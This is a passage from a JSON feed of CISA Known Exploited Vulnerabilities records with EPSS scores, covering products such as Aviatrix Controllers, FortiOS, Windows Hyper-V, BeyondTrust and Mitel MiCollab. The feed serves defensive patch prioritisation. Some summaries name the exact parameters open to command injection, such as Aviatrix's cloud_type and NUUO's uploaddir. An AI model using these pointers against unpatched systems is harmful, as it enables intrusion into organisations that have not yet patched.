unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.84887,"percentile":0.99709,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-11023&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-11023","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-01-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-11023 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-11023&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-11023, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-50603","cveId":"CVE-2024-50603","aliases":[],"kind":"vulnerability","title":"Aviatrix Controllers OS Command Injection Vulnerability","summary":"Aviatrix Controllers contain an OS command injection vulnerability that could allow an unauthenticated attacker to execute arbitrary code. Shell metacharacters can be sent to /v1/api in cloud_type for list_flightpath_destination_instances, or src_cloud_type for flightpath_connection_test.","detail":"CISA added this entry on 2025-01-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-01-16","updatedAt":null,"regions":["Global"],"vendor":"Aviatrix","product":"Controllers","stacks":["Aviatrix","Controllers"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-01-16","dueAt":"2025-02-06","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98518,"percentile":0.9992,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-50603&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-50603","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-01-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-50603 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-50603&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-50603, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-55591","cveId":"CVE-2024-55591","aliases":[],"kind":"vulnerability","title":"Fortinet FortiOS and FortiProxy Authentication Bypass Vulnerability","summary":"Fortinet FortiOS and FortiProxy contain an authentication bypass vulnerability that may allow an unauthenticated, remote attacker to gain super-admin privileges via crafted requests to Node.js websocket module.","detail":"CISA added this entry on 2025-01-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-01-14","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"FortiOS and FortiProxy","stacks":["Fortinet","FortiOS and FortiProxy"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-01-14","dueAt":"2025-01-21","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9435,"percentile":0.99849,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-55591&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-55591","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-01-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-55591 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-55591&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-55591, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-21333","cveId":"CVE-2025-21333","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Hyper-V NT Kernel Integration VSP Heap-based Buffer Overflow Vulnerability","summary":"Microsoft Windows Hyper-V NT Kernel Integration VSP contains a heap-based buffer overflow vulnerability that allows a local attacker to gain SYSTEM privileges.","detail":"CISA added this entry on 2025-01-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-01-14","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Hyper-V","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-01-14","dueAt":"2025-02-04","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.10066,"percentile":0.95594,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-21333&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-21333","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-01-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-21333 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-21333&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-21333, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-21334","cveId":"CVE-2025-21334","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Hyper-V NT Kernel Integration VSP Use-After-Free Vulnerability","summary":"Microsoft Windows Hyper-V NT Kernel Integration VSP contains a use-after-free vulnerability that allows a local attacker to gain SYSTEM privileges.","detail":"CISA added this entry on 2025-01-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-01-14","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Hyper-V","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-01-14","dueAt":"2025-02-04","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01573,"percentile":0.75241,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-21334&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-21334","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-01-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-21334 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-21334&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-21334, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-21335","cveId":"CVE-2025-21335","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Hyper-V NT Kernel Integration VSP Use-After-Free Vulnerability","summary":"Microsoft Windows Hyper-V NT Kernel Integration VSP contains a use-after-free vulnerability that allows a local attacker to gain SYSTEM privileges.","detail":"CISA added this entry on 2025-01-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-01-14","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Hyper-V","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-01-14","dueAt":"2025-02-04","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01401,"percentile":0.72317,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-21335&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-21335","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-01-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-21335 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-21335&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-21335, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-48365","cveId":"CVE-2023-48365","aliases":[],"kind":"vulnerability","title":"Qlik Sense HTTP Tunneling Vulnerability","summary":"Qlik Sense contains an HTTP tunneling vulnerability that allows an attacker to escalate privileges and execute HTTP requests on the backend server hosting the software.","detail":"CISA added this entry on 2025-01-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-01-13","updatedAt":null,"regions":["Global"],"vendor":"Qlik","product":"Sense","stacks":["Qlik","Sense"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-01-13","dueAt":"2025-02-03","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.47733,"percentile":0.98841,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-48365&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-48365","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-01-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-48365 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-48365&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-48365, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-12686","cveId":"CVE-2024-12686","aliases":[],"kind":"vulnerability","title":"BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) OS Command Injection Vulnerability","summary":"BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) contain an OS command injection vulnerability that can be exploited by an attacker with existing administrative privileges to upload a malicious file. Successful exploitation of this vulnerability can allow a remote attacker to execute underlying operating system commands within the context of the site user.","detail":"CISA added this entry on 2025-01-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-01-13","updatedAt":null,"regions":["Global"],"vendor":"BeyondTrust","product":"Privileged Remote Access (PRA) and Remote Support (RS)","stacks":["BeyondTrust","Privileged Remote Access (PRA) and Remote Support (RS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-01-13","dueAt":"2025-02-03","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.32223,"percentile":0.98308,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-12686&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-12686","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-01-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-12686 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-12686&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-12686, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-2883","cveId":"CVE-2020-2883","aliases":[],"kind":"vulnerability","title":"Oracle WebLogic Server Unspecified Vulnerability","summary":"Oracle WebLogic Server, a product within the Fusion Middleware suite, contains an unspecified vulnerability exploitable by an unauthenticated attacker with network access via IIOP or T3.","detail":"CISA added this entry on 2025-01-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-01-07","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"WebLogic Server","stacks":["Oracle","WebLogic Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-01-07","dueAt":"2025-01-28","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.94582,"percentile":0.99854,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-2883&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-2883","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-01-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-2883 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-2883&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-2883, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-41713","cveId":"CVE-2024-41713","aliases":[],"kind":"vulnerability","title":"Mitel MiCollab Path Traversal Vulnerability","summary":"Mitel MiCollab contains a path traversal vulnerability that could allow an attacker to gain unauthorized and unauthenticated access. This vulnerability can be chained with CVE-2024-55550, which allows an unauthenticated, remote attacker to read arbitrary files on the server.","detail":"CISA added this entry on 2025-01-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-01-07","updatedAt":null,"regions":["Global"],"vendor":"Mitel","product":"MiCollab","stacks":["Mitel","MiCollab"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-01-07","dueAt":"2025-01-28","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97209,"percentile":0.99894,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-41713&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-41713","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-01-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-41713 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-41713&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-41713, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-55550","cveId":"CVE-2024-55550","aliases":[],"kind":"vulnerability","title":"Mitel MiCollab Path Traversal Vulnerability","summary":"Mitel MiCollab contains a path traversal vulnerability that could allow an authenticated attacker with administrative privileges to read local files within the system due to insufficient input sanitization. This vulnerability can be chained with CVE-2024-41713, which allows an unauthenticated, remote attacker to read arbitrary files on the server.","detail":"CISA added this entry on 2025-01-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-01-07","updatedAt":null,"regions":["Global"],"vendor":"Mitel","product":"MiCollab","stacks":["Mitel","MiCollab"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-01-07","dueAt":"2025-01-28","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.38155,"percentile":0.98549,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-55550&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-55550","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-01-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-55550 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-55550&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-55550, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-3393","cveId":"CVE-2024-3393","aliases":[],"kind":"vulnerability","title":"Palo Alto Networks PAN-OS Malicious DNS Packet Vulnerability","summary":"Palo Alto Networks PAN-OS contains a vulnerability in parsing and logging malicious DNS packets in the DNS Security feature that, when exploited, allows an unauthenticated attacker to remotely reboot the firewall. Repeated attempts to trigger this condition will cause the firewall to enter maintenance mode.","detail":"CISA added this entry on 2024-12-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-12-30","updatedAt":null,"regions":["Global"],"vendor":"Palo Alto Networks","product":"PAN-OS","stacks":["Palo Alto Networks","PAN-OS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-12-30","dueAt":"2025-01-20","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.2912,"percentile":0.98153,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-3393&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-3393","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-12-30","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-3393 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-3393&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-3393, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-44207","cveId":"CVE-2021-44207","aliases":[],"kind":"vulnerability","title":"Acclaim Systems USAHERDS Use of Hard-Coded Credentials Vulnerability","summary":"Acclaim Systems USAHERDS contains a hard-coded credentials vulnerability that could allow an attacker to achieve remote code execution on the system that runs the application. The MachineKey must be obtained via a separate vulnerability or other channel.","detail":"CISA added this entry on 2024-12-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Please contact the product developer for support and vulnerability mitigation.","publishedAt":"2024-12-23","updatedAt":null,"regions":["Global"],"vendor":"Acclaim Systems","product":"USAHERDS","stacks":["Acclaim Systems","USAHERDS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-12-23","dueAt":"2025-01-13","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Please contact the product developer for support and vulnerability mitigation.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.17578,"percentile":0.97121,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-44207&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-44207","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-12-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-44207 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-44207&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-44207, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-12356","cveId":"CVE-2024-12356","aliases":[],"kind":"vulnerability","title":"BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) Command Injection Vulnerability","summary":"BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) contain a command injection vulnerability, which can allow an unauthenticated attacker to inject commands that are run as a site user.","detail":"CISA added this entry on 2024-12-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-12-19","updatedAt":null,"regions":["Global"],"vendor":"BeyondTrust","product":"Privileged Remote Access (PRA) and Remote Support (RS)","stacks":["BeyondTrust","Privileged Remote Access (PRA) and Remote Support (RS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-12-19","dueAt":"2024-12-27","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.87258,"percentile":0.99749,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-12356&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-12356","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-12-19","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-12356 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-12356&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-12356, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-14933","cveId":"CVE-2018-14933","aliases":[],"kind":"vulnerability","title":"NUUO NVRmini Devices OS Command Injection Vulnerability","summary":"NUUO NVRmini devices contain an OS command injection vulnerability. This vulnerability allows remote command execution via shell metacharacters in the uploaddir parameter for a writeuploaddir command.","detail":"CISA added this entry on 2024-12-18. This record's publication date is the catalog addition date, not necessarily the initial 